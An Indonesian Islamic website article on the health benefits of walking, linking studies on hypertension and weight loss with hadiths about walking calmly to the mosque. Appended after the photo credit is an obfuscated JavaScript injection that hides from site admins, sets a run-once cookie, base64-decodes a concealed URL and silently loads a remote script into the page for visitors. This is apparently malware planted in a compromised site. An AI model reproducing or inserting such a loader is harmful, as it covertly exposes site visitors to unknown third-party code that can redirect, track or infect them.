JENDELAISLAM.ID – Sehat itu sederhana. Anda tak mesti melakukan olah raga keras dan menguras tenaga. Tetapi cukup berjalan kaki secara intens selama kurang lebih setengah jam setiap hari, tubuh akan sehat.
Sebuah penelitian di Universitas of Illinois Amerika menyatakan bahwa orang yang rutin berjalan setengah jam setiap hari akan terhindar dari tekanan darah tinggi. Sebanyak 40 juta orang Amerika berisiko menderita hipertensi (usia 35 – 59 tahun). Mereka diminta untuk berjalan selama 30 menit atau sekitar 1,5 mil per hari, dan terus ditingkatkan sehingga setiap hari mereka berjalan sebanyak sepuluh ribu langkah atau kurang lebih 3,5 – 4 mil per hari.
Para dokter juga menyarankan agar orang membiasakan diri untuk berjalan kaki dan menggerakkan tubuh. Dengan cara naik tangga dari pada naik lift, turun dari mobil di tempat yang cukup jauh dari kantor, serta mengurangi konsumsi makanan yang mengandung garam. Bila kebiasaan baik ini dilakukan secara kontinyu, mereka tidak akan mudah terserang penyakit jantung, darah tinggi, stroke, dan penyakit gula.
Majalah British Medical Tribune juga pernah menulis bahwa untuk menjaga tubuh dari kemungkinan serangan penyakit jantung dan penyempitan dan pembuluh darah setiap orang harus berolah raga secara rutin, sepeti jalan cepat, joging atau berenang selama 20 – 30 menit sebanyak minimal dua atau tiga kali dalam seminggu.
Bahkan berjalan kaki juga dapat mengurangi berat tubuh yang berlebihan. Ini tergantung jarak dan kecepatan berjalan. Orang yang berjalan kaki dengan rerata 4 km/jam dapat membakar sekitar 200 – 250 kalori, atau 22 – 28 gram lemak.
Anjuran Nabi SAW
Jauh sebelum medis menemukan manfaat jalan kaki, Rasulullah SAW sudah terlebih dahulu menganjurkan kita untuk berjalan kaki. Hal itu beliau sampaikan dalam beberapa hadits.
Abu Musa RA meriyawatkan bahwa Rasulullah SAW bersabda, “Orang yang mendapat pahala shalat yang paling besar adalah yang paling jauh jaraknya perjalanannya ke masjid.”
Hadits itu menegaskan anjuran kepada setiap muslim untuk berjalan menuju masjid sekuat tenaga, tidak di atas kendaraan apapun meskipun rumahnya jauh dari masjid, selama tidak ada udzur atau hambatan. Mereka juga dianjurkan agar pulang ke rumah juga dengan berjalan kaki.
Dr. Jamal Elzaky dalam “Buku Induk Mukjizat Kesehatan Ibadah” karya Dr. Jamal Elzaky mengatakan bahwa selain mendapat pahala besar, orang yang terbiasa ke masjid dengan berjalan kaki juga akan mendapatkan tubuh yang sehat. Jalan kaki berperan penting untuk menguatkan tubuh serta membuat seseorang tetap bersemangat menjalani aktivitas.
Perjalanan ke masjid setiap hari untuk mendirikan shalat telah cukup untuk melatih tubuh, terutama tulang persendian, otot tubuh, dan perangkat tubuh yang lain. Perjalanan ke masjid juga dapat mencegah seseorang dari serangan penyakit akibat terlalu banyak duduk, dan kegemukan, karena berjalan kaki sangat berguna untuk menurunkan kadar lemak dalam tubuh.
Kebiasaan jalan kaki juga dapat meningkatkan fungsi jantung, menjaga kesehatan jantung, dan menurunkan kadar kolesterol dalam tubuh, serta menurunkan tekanan darah, melancarkan pencernaan, dan banyak faedah lainnya.
Beberapa penelitian menunjukkan bahwa penyakit yang menyerang sistem pencernaan cenderung lebih mudah mengenai orang yang tidak jarang sekali menggerakkan tubuhnya. Sebaliknya, penyakit pencernaan tidak akan mudah menyerang orang yang sering berolah raga.
Berjalan kaki juga dapat menegakkan tulang punggung, menguatkan rangka tubuh dan otot, menjaga persendian, serta mengurangi tekanan kejiwaan, seperti stress dan gelisah..
Demikianlah manfaat dalam anjuran syariat agar kita berjalan kaki menuju tempat shalat dengan tidak tergesa-gesa, melainkan santai dan tenang.
Diriwayatkan dari Abi Hurairah RA bahwa Rasulullah SAW bersabda, “Jika telah terdengar panggilan shalat, jangan berlari menyusulnya, tetapi berjalanlah, dan berjalanlah dengan tenang. Jika di sana sampai masih bisa memburu shalat, kerjakanlah, tetapi jika tidak bisa, lakukanlah yang tersisa, lalu sempurnakanlah.”
Oleh karena itu, Islam menganjurkan umatnya berjalan kaki menuju tempat shalat. Bila perjalanan pulang pergi dari rumah menuju masjid memakan waktu 5 menit, maka dalam sehari akan berjalan kaki selama 25 menit.
Dengan demikian, seorang Muslim bisa melakukan olah raga sederhana dan menyehatkan itu selama 25 menit dalam sehari. Jauh melampaui anjuran ahli kesehatan untuk berolah raga tiga kali dalam seminggu.***
Foto: Pexels/Mohammed Alashibi
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
